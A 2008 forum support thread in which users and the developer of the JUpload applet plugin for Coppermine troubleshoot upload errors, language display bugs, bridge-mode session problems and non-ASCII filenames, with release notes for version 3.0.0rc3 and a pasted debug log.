01:54:34.494    at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:487)
01:54:36.758 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)


Thank You
Sandy

You don't give much information.

- What is your Coppermine configuration ?
- Are you using Coppmerine in bridge mode with a forum or any other tool ?
- Is it a fresh install, or did an older version work ok before ?

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: smay on January 15, 2008, 12:49:53 am
This is a fresh install of Coppermine the current version. I am bridged with PHPBB V3 Gold.  Also as noted I receive the same error when I try to upload to your test site. I have gone to the JAVA site and check my version there and Sun says I have the current correct version.

I can provide what ever you would like just let me know.

Thanks

Sandy
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 15, 2008, 01:18:26 pm
This is a fresh install of Coppermine the current version. I am bridged with PHPBB V3 Gold.  Also as noted I receive the same error when I try to upload to your test site. I have gone to the JAVA site and check my version there and Sun says I have the current correct version.

I can provide what ever you would like just let me know.

Thanks

Sandy

You're right, RC1 was buggy.

I just released the RC2. It corrects this problem, and add some new translations.

  I still work on bridge mode: some users have trouble in this mode. The main trouble is: everything works nice for me, so I can't correct anything.

Etienne

Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 15, 2008, 01:22:25 pm
For all people who have problems in bridge mode:

Currently, some users have problems in bridge mode. FYI, I don't. But I believe them ...  ;)

For them, I'm developping a specific way for JUpload to identify user's session. Would be some kind of JUpload session, with very restrictive rights:
- Only for one upload click (I mean for one click on the 'Send' button of the applet),
- With a little timeout,
- If possible only for the selected album,
- If possible only upload from the applet (at least only from the same IP).

This JUpload session will be available only if the admin configure JUpload for that: there will be a new configuration parameter.

Hope it will be ready for tests next week. I have some 'details' to define.

Etienne
Title: Re: UpError on Upload - string "^SUCCESS$" was not found
Post by: smay on January 15, 2008, 09:52:59 pm
Etienne,

Thank you.  Wow a new release.  But,  I am just using your test board http://etiennegauthier.free.fr/coppermine/
 to eliminate any issues that might be localized to my website.  I still am receiving the same error messages.  I have removed my java runtime code and then re-installed that from www.java.com.  I am running Java SE 6  Version 1.6.0(build 1.6.0_03-b05).

I also tested on a different PC running Win XP and Java 2 Platform Standard Edition V 1.5.0 (build 1.5.0_12-b04) with the same failed results.

Thanks again for any help you can provide,
Sandy



Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on January 16, 2008, 06:45:19 am
I loaded lastest RC2 and the java applet is in some weird language not english that is for sure. I deleted the entire mod and reuploaded it and activated. Still same issue. Anyone else getting this?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 16, 2008, 10:47:40 am
I loaded lastest RC2 and the java applet is in some weird language not english that is for sure. I deleted the entire mod and reuploaded it and activated. Still same issue. Anyone else getting this?

Did you test RC1 before ?

  I think it was this version that has troubles. If you didn't close your browser, and reinstall RC2 on it, your browser is still using the RC1 applet.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on January 16, 2008, 11:27:29 am
I had RC1 on there no trouble. Then I loaded your RC2 and now having all sorts of issues. My old route for session keeping does not work for IE7 anymore just Fx and Opera. But the biggest problem is language. It shows some weird characters for the applet info. It is not in english. I never had issues on RC1 but this RC2 there are. I don't know how to fix this language issue.

http://www.allwheeljunkies.com/awphotos/

take a look
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: jesusarmy on January 16, 2008, 01:39:14 pm
I tried your test board (on which the applet itself appears still to be RC1) and got a similar No Success error on it that I have been getting on my board.

However, with debug on, the message is "There was an error while processing a database query" rather than "You do not have permission"

Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 16, 2008, 02:13:17 pm
I tried your test board (on which the applet itself appears still to be RC1) and got a similar No Success error on it that I have been getting on my board.

However, with debug on, the message is "There was an error while processing a database query" rather than "You do not have permission"

Yes, my demo site is not up to date. I'll correct it.

Title: UpError on Upload - string "^SUCCESS$" was not found
Post by: smay on January 18, 2008, 12:25:36 am
Etienne,

Thank you for all of your help and support. I still am having some issues. 

I have download and installed RC2.  I uninstall the prior version and then installed the new RC2 version.
I have done this multiply times to verify I have done everything correctly.

The application shows weird characters for me also. I continued to use the tool to upload and I am still receiving the same errors (string "^SUCCESS$" was not found ).

At the bottom of the application it shows JUload V3.3.0rc1 [SVN-Rev: 403]


I also tried on your test site and the application appears to be in english.  At the bottom of your test site it shows JUpload V3.2.0 [SVN-Rev: 389].   I am able to upload to your test site now.

Thank you in advance for any advise you can give.

Sandy
Title: Re: UpError on Upload - string "^SUCCESS$" was not found
Post by: etienne_sf on January 18, 2008, 12:27:42 pm
Etienne,

Thank you for all of your help and support. I still am having some issues. 

I have download and installed RC2.  I uninstall the prior version and then installed the new RC2 version.
I have done this multiply times to verify I have done everything correctly.

The application shows weird characters for me also. I continued to use the tool to upload and I am still receiving the same errors (string "^SUCCESS$" was not found ).

At the bottom of the application it shows JUload V3.3.0rc1 [SVN-Rev: 403]


I also tried on your test site and the application appears to be in english.  At the bottom of your test site it shows JUpload V3.2.0 [SVN-Rev: 389].   I am able to upload to your test site now.

Thank you in advance for any advise you can give.

Sandy

Hum,

  I don't have time to work back on RC1 and RC2: I'm working on the bridge session that sometimes doesn't work with JUpload.

Please get back to 2.6.4. RC3 will come soon, and I'll take time to test it more than what I did for RC1 and RC2. I actually should have named them A1 and A2, for alpha, a I knew I hadn't run enough tests.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on January 18, 2008, 04:55:55 pm
patiently waiting thanks for your hard work.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: skidpics on January 19, 2008, 01:07:48 pm
Confusing about the follow text in the config settings:

Quote
If set to a non 0 value (1 is the default value), the plugin will define a default title for each picture, based on the filename. All underscores are removed. For instance, when uploading a When_I_m_Happy.jpg file, it will create a default title When I m Happy.
If 1, the picture title is left blank.
Default value is '1'

So if 1 is a non 0 value, default picture titles should generate based on files name right? But if 1 is used, nothing will be generated, correct?  Am I supposed to use 2? Perhaps I am reading into it too much.?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 19, 2008, 02:59:03 pm
Confusing about the follow text in the config settings:

So if 1 is a non 0 value, default picture titles should generate based on files name right? But if 1 is used, nothing will be generated, correct?  Am I supposed to use 2? Perhaps I am reading into it too much.?

Not clear ?

 ;D


I've corrected the text this way, please tell me if it's clear now (at least, it's more correct than before !) :

If 0, the picture title is left blank.

Otherwise (1 is the default value), the plugin will define a default title for each picture, based on the filename. All underscores are removed. For instance, when uploading a When_I_m_Happy.jpg file, it will create a default title When I m Happy.


Etienne

Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: skidpics on January 21, 2008, 05:31:22 am
Not clear ?

 ;D


I've corrected the text this way, please tell me if it's clear now (at least, it's more correct than before !) :

If 0, the picture title is left blank.

Otherwise (1 is the default value), the plugin will define a default title for each picture, based on the filename. All underscores are removed. For instance, when uploading a When_I_m_Happy.jpg file, it will create a default title When I m Happy.


Etienne



Thank you .  It makes sense now.  The section about the default being 1 was just not correct.  thanks for clearing up that issue..
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: dke on January 22, 2008, 11:08:07 am
Hello,

I love this upload applet, however ive finally encountered a issue with it.

One of my users are uploading pictures which filenames contains unknown signs. The original upload.php will replace the unknown signs with "_" which makes the pictures load properly into coppermine, however jupload is replacing the unknown signatures with "?" and the picture in the gallery gets broken.

Is there anyway to fix this?

Thank you!
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: dke on January 22, 2008, 11:16:43 am
Would like to add that the default upload.php does not rename the unknown signs to "_" unless you specify the signs in "Characters forbidden in filenames" under config.

Is there a way to get Jupload to use the specifications i enter in the config?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 22, 2008, 01:14:42 pm
Hello,

I love this upload applet, however ive finally encountered a issue with it.

One of my users are uploading pictures which filenames contains unknown signs. The original upload.php will replace the unknown signs with "_" which makes the pictures load properly into coppermine, however jupload is replacing the unknown signatures with "?" and the picture in the gallery gets broken.

Is there anyway to fix this?

Thank you!

Hi,

  From my tests there is a problem in internal Coppermine code, for unknown characters (for instance, accents). They are not managed correctly when constructing the HTML page.

 I've worked on this one, but I ca't make it working properly: event if files are correctly uploaded by JUpload, they would not be displayed correctly by Coppermine.
  I added it to my todo list.

  From your hint/wish, I know where to look into Coppermine code ...

Etienne

NB: Globally, the problem is that the code in upload.php is merge with both HTML generation and picture management. I have to duplicate the code, and guess how to fill the gap.
Would be something to make better in next Coppermine releases. But I'm not in the dev team. I asked to, but no answer. I probably should ask again. This would be an important reworking of upload.php...
Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Joachim Mller on January 22, 2008, 01:23:43 pm
  From my tests there is a problem in internal Coppermine code, for unknown characters (for instance, accents). They are not managed correctly when constructing the HTML page.
That's wrong. Coppermine works as expected if both your encoding in the database as well as the one chosen in coppermine match. This is not the case on your demo, that's why it shows the funny garbled characters.

dke has another open thread (http://forum.coppermine-gallery.net/index.php?topic=49957.0) on this issue, he's cross-posting (once again). Dke: grow up and respect board rules. You have been warned before. Further misbehaviour will lead to a ban!
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: dke on January 22, 2008, 02:37:16 pm
I am sorry Joachim, however i though this issue was both related to jupload and coppermine , so i made 2 different posts in 2 different threads (this one) and my own.

My lack of expertise i would call it, i cannot pin-point the issue..

Thanks for the reply etienne_sf , from what you say it sounds like a real issue, however its not a issue with i try uploading to your gallery. Your gallery does exactly like mine, converts the "" characters to "?" however, for some reason your gallery understands how to read the "?" characters, my gallery wont even display the image when filename contains "?".

Etienne_sf i must ask you, is there a way to make jupload automaticly convert characters like to "_" which upload.php does automaticly? This way my trouble would go away, i don't care about filenames, i just want my pictures to be displayed.
Title: Re: Upload applet (JUpload)
Post by: mrsleep99 on January 22, 2008, 04:06:22 pm
If my understanding is correct: the applet now shows 'files', and you to replace it by 'pictures' ?

  If yes, as I already answered, you can take the applet sources in http://jupload.sourceforge.net (http://jupload.sourceforge.net), and change it yourself. These text are already translated in several languages, and for a lot of users. So I don't want to change them.

Correct ?
Etienne



Just to refresh--a while back I was interested in changing the pop-up menu following the uploads of files to replace the word "pictures" with "files".
I'm not very familiar with java so how do I go about making this change myself with the link you provided? I can't seem to figure it out. Also, is there a way to change the color and icons in the upload applet? Thank you!
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: SoftDux on January 22, 2008, 05:50:41 pm
I'd love to try out JUpload, but can't read the text on the buttons. It's in some other language. Where do I change the language to English?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 23, 2008, 05:45:11 pm
Etienne_sf i must ask you, is there a way to make jupload automaticly convert characters like to "_" which upload.php does automaticly? This way my trouble would go away, i don't care about filenames, i just want my pictures to be displayed.

Based on your previous mail, I'm looking to understand what's happening in both JUpload and Coppermine: I use exactly the same code.

  May be my coppermine configuration that is wrong (and not JUpload)

Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on January 23, 2008, 06:50:16 pm
Just to refresh--a while back I was interested in changing the pop-up menu following the uploads of files to replace the word "pictures" with "files".
I'm not very familiar with java so how do I go about making this change myself with the link you provided? I can't seem to figure it out. Also, is there a way to change the color and icons in the upload applet? Thank you!

  You can change everything. But you'll have to know enough about java to do that.

If you give me your mail, I can forward to you the compilation doc. Perhaps it will be enough for you. I have to many things to do, to give active support on this one.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 23, 2008, 06:54:31 pm
I'd love to try out JUpload, but can't read the text on the buttons. It's in some other language. Where do I change the language to English?

? When you access Coppermine for the first time, it should select the language according to your browser parameters.

 Can you try it again. If there are still a strange language: there are two listbox, on top of the defaul theme (may be on the bottom, if you're not using the default one). One of these contains the Coppermine available languages.

Question: is all text in this 'strange' language, or just the upload applet ?

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 23, 2008, 06:57:51 pm
That's wrong. Coppermine works as expected if both your encoding in the database as well as the one chosen in coppermine match. This is not the case on your demo, that's why it shows the funny garbled characters.

dke has another open thread (http://forum.coppermine-gallery.net/index.php?topic=49957.0) on this issue, he's cross-posting (once again). Dke: grow up and respect board rules. You have been warned before. Further misbehaviour will lead to a ban!

Joachim,

  This should be another thread, but here is an answer to this point.

The path2url() function in functions.inc.php should be updated, so that no restriction occurs:

$path = mb_convert_encoding($path, "UTF-8", "US-ASCII");

  Then every characters in the filename that is not properly encoded, will be correctly managed when generating the HTML code for this picture.
  I guess this should be a patch for next Coppermine version.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Stewwake on January 23, 2008, 08:45:48 pm
Nice upload Etienne & I see you are a busy person!

I just have one question, after uploading a file/s is it possible to redirect the user to the Album that he/she just uploaded into?

How could I go about doing this?

Many Thanks
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: SoftDux on January 23, 2008, 09:22:42 pm
? When you access Coppermine for the first time, it should select the language according to your browser parameters.

 Can you try it again. If there are still a strange language: there are two listbox, on top of the defaul theme (may be on the bottom, if you're not using the default one). One of these contains the Coppermine available languages.

Question: is all text in this 'strange' language, or just the upload applet ?

Etienne

It's just the upload applet. English was set everywhere, and I think there's something wrong with the code (or maybe a combination of code. I had the V3 installed, but downgraded to 2.6.4, which now works fine. Thank you :)
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 23, 2008, 10:12:12 pm
I just have one question, after uploading a file/s is it possible to redirect the user to the Album that he/she just uploaded into?

How could I go about doing this?

Hi,

   There is no parameter for that in JUpload. You can only see the pictures you just uploaded. I did it for these reasons:

If you want to update it yourself, you'll have to change the applet code. If you know Java, the update is in the CoppermineUploadPolicy class, afterUpload method.

Regards
Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on January 24, 2008, 04:17:46 am
It's just the upload applet. English was set everywhere, and I think there's something wrong with the code (or maybe a combination of code. I had the V3 installed, but downgraded to 2.6.4, which now works fine. Thank you :)

I still have this issue as well. Nothing I do is changing the language back to English. This only happened with the latest release and not the previous.

Any status on bridge systems as well?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: dke on January 24, 2008, 10:54:22 am
Based on your previous mail, I'm looking to understand what's happening in both JUpload and Coppermine: I use exactly the same code.

  May be my coppermine configuration that is wrong (and not JUpload)

Etienne

Maybe there is a issue with my gallery interacting with jupload or vice versa, would you care to test it out?

I have guest uploads allowed, if you use any of these characters "" in a filename the image will not be displayed by the gallery. The characters will be converted to "?". However when i use the default "upload.php" (which comes with coppermine) when i upload files containing these characters "" they will be converted to "_" instead of the characters. And coppermine can read the image location.

What i would like to do is to make jupload do the same type of convertion, insted of "?" do "_" which coppermine can read.

Here is a link to my jupload : http://83.226.208.233/index.php?file=jupload/jupload

Thank you again etienne_sf for your support, your upload plugin is awesome!
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 24, 2008, 02:09:26 pm
I still have this issue as well. Nothing I do is changing the language back to English. This only happened with the latest release and not the previous.

Any status on bridge systems as well?

May be linked with bridge, but I don't think so. Check the 3.0.0rc3, available now (a release notes comes, in this forum). For me, everything is ok now ... to be confirmed

Etienne
Title: JUpload release 3.0.0rc3
Post by: etienne_sf on January 24, 2008, 02:12:01 pm
Hi,

  Here is the announce for the 3.0.0 Release Candidate 3 version.

This version is available on the page below. It works nice for me, but I need confirmation from other users with other configurations.
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb)

Release notes for 3.0.0.RC3:

Changes:
  * [Major] Internal session management. This should correct all connection problem, that occurs in bridge mode. See the new sessionManagement configuration parameter.
  * [Minor] More debug info, when applet can't upload files, to analyze what happens in Coppermine.
  * [Major] The plugin is now partially compatible with Stramm's ModPack. Partially, as jupload can not managed all kind of album sharing (share with a friend...). Only standard Coppermine stuff.

Fixes:
  * [Minor] The annoying bug, when pictures colors would becoming 'strange' with some camera manufacturer (eg. Canon EOS) seems to be solved. Please confirm it..
 
Translation
  * Partial Persian added (only PHP part), thanks to Sami
  * Brazilian Portugese translation updated, thanks to Rafael Fontes
  * Hebrew translation added

To do, before official release (see dke mail):
  * Check behaviour with file containing non ASCII characters (French or German accents, for instance). Works better than before (applet would not even resize/rotate them). Now, there seems to be problems within PHP, but it may be my Coppermine configuration as standard upload doesn't work better.
   => Please confirm if it works for you or not with filename like this one: .jpg

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Stewwake on January 24, 2008, 07:52:37 pm
Quote
Hi,

   There is no parameter for that in JUpload. You can only see the pictures you just uploaded. I did it for these reasons:

    * If the album you upload in contains a lot of pictures, it's not nice to have to look for your pictures
    * I need a picture where you may enter data (title, desc..) for your pictures. It may not work if an aproval from the admin is needed.


If you want to update it yourself, you'll have to change the applet code. If you know Java, the update is in the CoppermineUploadPolicy class, afterUpload method.

Ok thanks Etienne, that makes sense, I will have a look at the code.

Thanks
Title: Re: JUpload release 3.0.0rc3
Post by: dke on January 25, 2008, 09:31:16 am
Hi,

  Here is the announce for the 3.0.0 Release Candidate 3 version.

This version is available on the page below. It works nice for me, but I need confirmation from other users with other configurations.
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb)

Release notes for 3.0.0.RC3:

Changes:
  * [Major] Internal session management. This should correct all connection problem, that occurs in bridge mode. See the new sessionManagement configuration parameter.
  * [Minor] More debug info, when applet can't upload files, to analyze what happens in Coppermine.
  * [Major] The plugin is now partially compatible with Stramm's ModPack. Partially, as jupload can not managed all kind of album sharing (share with a friend...). Only standard Coppermine stuff.

Fixes:
  * [Minor] The annoying bug, when pictures colors would becoming 'strange' with some camera manufacturer (eg. Canon EOS) seems to be solved. Please confirm it..
 
Translation
  * Partial Persian added (only PHP part), thanks to Sami
  * Brazilian Portugese translation updated, thanks to Rafael Fontes
  * Hebrew translation added

To do, before official release (see dke mail):
  * Check behaviour with file containing non ASCII characters (French or German accents, for instance). Works better than before (applet would not even resize/rotate them). Now, there seems to be problems within PHP, but it may be my Coppermine configuration as standard upload doesn't work better.
   => Please confirm if it works for you or not with filename like this one: .jpg

Etienne

Nice , will try this out this weekend, thank you Etienne.

I'll be back with feedback
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: AWJunkies on January 26, 2008, 06:11:59 am
About to test will let you know what happens

Testing and works when you set the JUpload as your session handler for uploading only. You may want to decrease the session time it looks like it keeps it alive for a day. Any who VERY impressed with your work. I will have the users test it now and see how it goes.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: mrsleep99 on January 27, 2008, 04:16:36 am
How can I remove the "Add files to the selected album", "Create Album" and "Update Album" buttons and the 'Album Name' and 'Album Description' fields out of the upload form? I simply want users to select existing categories + albums and upload to those. How can I do this?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 27, 2008, 09:09:42 pm
How can I remove the "Add files to the selected album", "Create Album" and "Update Album" buttons and the 'Album Name' and 'Album Description' fields out of the upload form? I simply want users to select existing categories + albums and upload to those. How can I do this?


There is no configuration parameter. You'll have to remove them from the plugins/jupload/page/upload_page.php script.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: mrsleep99 on January 27, 2008, 09:33:00 pm
Thanks for the fast reply Etienne but what specifically should I remove?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 27, 2008, 10:10:06 pm
Thanks for the fast reply Etienne but what specifically should I remove?

You'll have to dig into PHP code ...  Which is just bad !
(and I would have to, now, to answer your question...)


  I really prefer Java programming ...  this not a troll, but this for sure out of topic !
:-)

Seems to be a good idea. I'll add a configuration parameter for that, in final 3.0.0.
  By the way, the "Add files to the selected album" just position the page on the applet. I'll keep it. Otherwise, the 'upload' button is not visible, which may make some user miss it.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: PerformanceImagery on January 28, 2008, 06:52:33 pm
I just installed the latest CR version and I'm still unable to use this plugin brigded with Joomla  :(
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 28, 2008, 07:04:31 pm
I just installed the latest CR version and I'm still unable to use this plugin brigded with Joomla  :(

Did you go to the configuration page, and change the value for sessionManagement ?

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: dke on January 29, 2008, 06:37:12 pm
Hi,

I tested the latest build rc3 and i get the following error:

Alert pop-up message: wjhk.upload2.policies.CoppermineUploadPolicy.checkUploadSucess(): The string "^SUCCESS$" was not found in the respone body

Logfile generated from error:

Code: [Select]
18:31:34.203 [INFO] Debug level set to 0
18:31:34.203 [INFO] Current debug output file: C:\DOCUME~1\JONNYE~1\LOCALS~1\Temp\jupload_13944_log.txt
18:31:34.203 [DEBUG] setLang - language read (no country): us
18:31:34.203 [WARN] Invalid int value: true, using default value: 0
18:31:34.203 [DEBUG] cookie: e0d95d9701a71303eece217fec6abf99=e03713aa38afd8dfe1ccbbe08f7839fc; cpg143_data=YTo2OntzOjI6IklEIjtzOjMyOiJmMjJlZTU3YTI0ZDE2ZWNmMTcxMjcwYWUzZjNhMzE4MyI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo3OiJlbmdsaXNoIjtzOjM6ImxpdiI7YTo1OntpOjA7czo2OiI0MDA5MTUiO2k6MTtzOjY6IjE3MDU4OCI7aToyO3M6NjoiNDAxNTQxIjtpOjM7czo2OiI0MDE1NTMiO2k6NDtzOjY6IjQwMTU2NyI7fXM6MzoibGFwIjtpOjY7czo2OiJzZWFyY2giO2E6ODp7czo2OiJzZWFyY2giO3M6MTY6IkpBTEJBMDYwOTA0XzAyNnYiO3M6NToiYWxidW0iO3M6Njoic2VhcmNoIjtzOjU6InRpdGxlIjtzOjI6Im9uIjtzOjEwOiJuZXdlcl90aGFuIjtzOjA6IiI7czo3OiJjYXB0aW9uIjtzOjI6Im9uIjtzOjEwOiJvbGRlcl90aGFuIjtzOjA6IiI7czo4OiJmaWxlbmFtZSI7czoyOiJvbiI7czo2OiJwYXJhbXMiO2E6Mzp7czo1OiJ0aXRsZSI7czoyOiJvbiI7czo3OiJjYXB0aW9uIjtzOjI6Im9uIjtzOjg6ImZpbGVuYW1lIjtzOjI6Im9uIjt9fX0%3D; PHPSESSID=7kjugskig5nnmn7v9i7t329kf4
18:31:34.203 [DEBUG] userAgent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
18:31:34.203 [DEBUG] uploadPolicy parameter = CoppermineUploadPolicy
18:31:34.203 [DEBUG] uploadPolicy = wjhk.jupload2.policies.CoppermineUploadPolicy
18:31:34.203 [DEBUG] ======= Parameters managed by PictureUploadPolicy
18:31:34.203 [DEBUG] fileChooserImagePreview: true
18:31:34.203 [DEBUG] highQualityPreview : false
18:31:34.203 [DEBUG] pictureCompressionQuality : 0.8
18:31:34.203 [DEBUG] pictureTransmitMetadata : true
18:31:34.203 [DEBUG] maxPicWidth : 7000, maxPicHeight : 7000
18:31:34.203 [DEBUG] realMaxPicWidth : 7000, realMaxPicHeight : 7000
18:31:34.203 [DEBUG] storeBufferedImage : false
18:31:34.203 [DEBUG] targetPictureFormat : null
18:31:34.203 [DEBUG]
18:31:34.203 [DEBUG] ======= Parameters managed by CoppermineUploadPolicy
18:31:34.203 [DEBUG] albumId : 0
18:31:34.203 [DEBUG]
18:31:34.250 [DEBUG] Within componentResized
18:31:34.250 [DEBUG] PicturePanel.paint(): offscreenImage is null
18:31:34.250 [DEBUG] [CoppermineUploadPolicy] Call off setProperty: albumId =>
18:31:34.250 [WARN] Invalid int value: , using default value: 0
18:31:34.265 [DEBUG] Post URL (modified in CoppermineUploadPolicy) = http://myserver/index.php?file=jupload/jupload&action=upload_picture&album=0
18:31:34.265 [INFO] JUpload plugin for coppermine version 3.0.0rc3
18:31:34.296 [DEBUG] PicturePanel.paint(): offscreenImage is null
18:31:35.156 [DEBUG] PicturePanel.paint(): offscreenImage is null
18:31:38.890 [DEBUG] [CoppermineUploadPolicy] Call off setProperty: albumId => 34
18:31:38.890 [DEBUG] Post URL (modified in CoppermineUploadPolicy) = http://myserver/index.php?file=jupload/jupload&action=upload_picture&album=34
18:31:45.265 [DEBUG] PicturePanel.paint(): offscreenImage is null
18:31:50.890 [DEBUG] PicturePanel.paint(): offscreenImage is null
18:31:52.906 [DEBUG] Creation of the DefaultFileData for E:\testr.jpg(root: null)
18:31:52.906 [DEBUG] Mime types list loaded Ok (/conf/mimetypes.properties)
18:31:52.968 [DEBUG] isPicture=true (testr.jpg), extension=jpg
18:31:54.109 [DEBUG] PicturePanel.paint(): offscreenImage is null
18:31:55.343 [DEBUG] File selected: testr.jpg
18:31:55.343 [DEBUG] PicturePanel.calculateOffscreenImage(): trying to calculate offscreenImage (PicturePanel.calculateOffscreenImage()
18:31:55.375 [DEBUG] freeMemory (after start of getBufferedImage) : 2750248
18:31:55.375 [DEBUG] [getWorkingSourceFile] Creating a copy of testr.jpg as a source working target.
18:31:55.375 [DEBUG] Using working copy temp file C:\DOCUME~1\JONNYE~1\LOCALS~1\Temp\jupload_13945.tmp.jpg for testr.jpg
18:31:55.375 [DEBUG] File read: C:\DOCUME~1\JONNYE~1\LOCALS~1\Temp\jupload_13945.tmp.jpg
18:31:55.468 [DEBUG] Resizing factor (scale): 0.16847826086956522
18:31:55.468 [DEBUG] Resizing picture(using standard quality picture)
18:31:55.468 [DEBUG] bufferedImage.getColorModel(): ColorModel: #pixelBits = 24 numComponents = 3 color space = java.awt.color.ICC_ColorSpace@c7833c transparency = 1 has alpha = false isAlphaPre = false
18:31:55.468 [DEBUG] localBufferedImage.getColorModel(): ColorModel: #pixelBits = 24 numComponents = 3 color space = java.awt.color.ICC_ColorSpace@c7833c transparency = 1 has alpha = false isAlphaPre = false
18:31:55.515 [DEBUG] freeMemory (after end of wjhk.jupload2.filedata.PictureFileData.getImage()) : 3219928
18:31:59.687 [DEBUG] Action : Upload
18:31:59.703 [DEBUG] Upload done by using the wjhk.jupload2.upload.FileUploadThreadHTTP class
18:31:59.703 [DEBUG] Timer started
18:31:59.765 [DEBUG] PicturePanel.paint(): offscreenImage is null
18:31:59.812 [DEBUG] freeMemory (after hasToTransformPicture) : 5841696
18:31:59.812 [DEBUG] testr.jpg : hasToTransformPicture = false
18:31:59.843 [DEBUG] chunkHttpParam: jupart=1&jufinal=0
18:31:59.843 [DEBUG] Cookie: e0d95d9701a71303eece217fec6abf99=e03713aa38afd8dfe1ccbbe08f7839fc; cpg143_data=YTo2OntzOjI6IklEIjtzOjMyOiJmMjJlZTU3YTI0ZDE2ZWNmMTcxMjcwYWUzZjNhMzE4MyI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo3OiJlbmdsaXNoIjtzOjM6ImxpdiI7YTo1OntpOjA7czo2OiI0MDA5MTUiO2k6MTtzOjY6IjE3MDU4OCI7aToyO3M6NjoiNDAxNTQxIjtpOjM7czo2OiI0MDE1NTMiO2k6NDtzOjY6IjQwMTU2NyI7fXM6MzoibGFwIjtpOjY7czo2OiJzZWFyY2giO2E6ODp7czo2OiJzZWFyY2giO3M6MTY6IkpBTEJBMDYwOTA0XzAyNnYiO3M6NToiYWxidW0iO3M6Njoic2VhcmNoIjtzOjU6InRpdGxlIjtzOjI6Im9uIjtzOjEwOiJuZXdlcl90aGFuIjtzOjA6IiI7czo3OiJjYXB0aW9uIjtzOjI6Im9uIjtzOjEwOiJvbGRlcl90aGFuIjtzOjA6IiI7czo4OiJmaWxlbmFtZSI7czoyOiJvbiI7czo2OiJwYXJhbXMiO2E6Mzp7czo1OiJ0aXRsZSI7czoyOiJvbiI7czo3OiJjYXB0aW9uIjtzOjI6Im9uIjtzOjg6ImZpbGVuYW1lIjtzOjI6Im9uIjt9fX0%3D; PHPSESSID=7kjugskig5nnmn7v9i7t329kf4
18:31:59.843 [DEBUG] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
18:31:59.859 [DEBUG] Using non SSL socket, direct connection
18:31:59.984 [DEBUG] in UploadFileData.uploadFile (amount:30000, getUploadLength(): 181099)
18:32:00.031 [DEBUG] -------- Response Headers Start --------
18:32:00.031 [DEBUG] HTTP/1.1 200 OK
18:32:00.031 [DEBUG] Date: Tue, 29 Jan 2008 17:32:34 GMT
18:32:00.031 [DEBUG] Server: Apache
18:32:00.031 [DEBUG] Expires: Thu, 19 Nov 1981 08:52:00 GMT
18:32:00.031 [DEBUG] Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
18:32:00.031 [DEBUG] Pragma: no-cache
18:32:00.031 [DEBUG] Content-Length: 128
18:32:00.031 [DEBUG] Connection: close
18:32:00.046 [DEBUG] Content-Type: text/plain; charset=UTF-8
18:32:00.046 [DEBUG]
18:32:00.046 [DEBUG] --------- Response Headers End ---------
18:32:00.046 [DEBUG] HTTP status: 200 OK
18:32:00.046 [DEBUG] chunkHttpParam: jupart=2&jufinal=0
